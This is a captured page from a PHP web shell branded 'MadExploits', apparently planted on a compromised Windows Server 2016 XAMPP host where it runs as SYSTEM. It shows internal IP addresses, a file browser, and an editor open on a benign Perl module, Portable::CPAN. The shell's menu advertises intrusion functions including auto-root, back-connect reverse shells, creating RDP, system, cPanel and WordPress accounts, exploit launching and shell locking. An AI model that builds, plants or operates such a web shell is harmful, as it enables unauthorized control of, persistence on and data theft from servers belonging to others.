Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
Portable /
[ HOME SHELL ]
Name
Size
Permission
Action
CPAN.pm
2.04
KB
-rw-rw-rw-
Config.pm
2.14
KB
-rw-rw-rw-
FileSpec.pm
4.87
KB
-rw-rw-rw-
HomeDir.pm
1.96
KB
-rw-rw-rw-
LoadYaml.pm
12.84
KB
-rw-rw-rw-
minicpan.pm
1.34
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CPAN.pm
package Portable::CPAN; use 5.008; use strict; use warnings; use Portable::FileSpec; our $VERSION = '1.23'; # Create the enumerations our %bin = map { $_ => 1 } qw{ bzip2 curl ftp gpg gzip lynx ncftp ncftpget pager patch shell tar unzip wget }; our %post = map { $_ => 1 } qw{ make_arg make_install_arg makepl_arg mbuild_arg mbuild_install_arg mbuildpl_arg }; our %file = ( %bin, histfile => 1 ); ##################################################################### # Constructor sub new { my $class = shift; my $parent = shift; unless ( Portable::_HASH($parent->portable_cpan) ) { die('Missing or invalid cpan key in portable.perl'); } # Create the object my $self = bless { }, $class; # Map the my $cpan = $parent->portable_cpan; my $root = $parent->dist_root; foreach my $key ( sort keys %$cpan ) { unless ( defined $cpan->{$key} and length $cpan->{$key} and not $post{$key} ) { $self->{$key} = $cpan->{$key}; next; } if ($file{$key}) { $self->{$key} = Portable::FileSpec::catfile($root, split /\//, $cpan->{$key}); } else { $self->{$key} = Portable::FileSpec::catdir($root, split /\//, $cpan->{$key}); } } my $config = $parent->config; foreach my $key ( sort keys %post ) { next unless defined $self->{$key}; $self->{$key} =~ s/\$(\w+)/$config->{$1}/g; } return $self; } sub apply { my $self = shift; my $parent = shift; # Load the CPAN configuration require CPAN::Config; # Overwrite the CPAN config entries foreach my $key ( sort keys %$self ) { $CPAN::Config->{$key} = $self->{$key}; } # Confirm we got all the paths my $volume = quotemeta $parent->dist_volume; foreach my $key ( sort keys %$CPAN::Config ) { next unless defined $CPAN::Config->{$key}; next if $CPAN::Config->{$key} =~ /$volume/; next unless $CPAN::Config->{$key} =~ /\b[a-z]\:/i; next if -e $CPAN::Config->{$key}; die "Failed to localize \$CPAN::Config->{$key} ($CPAN::Config->{$key})"; } return 1; } 1;
Close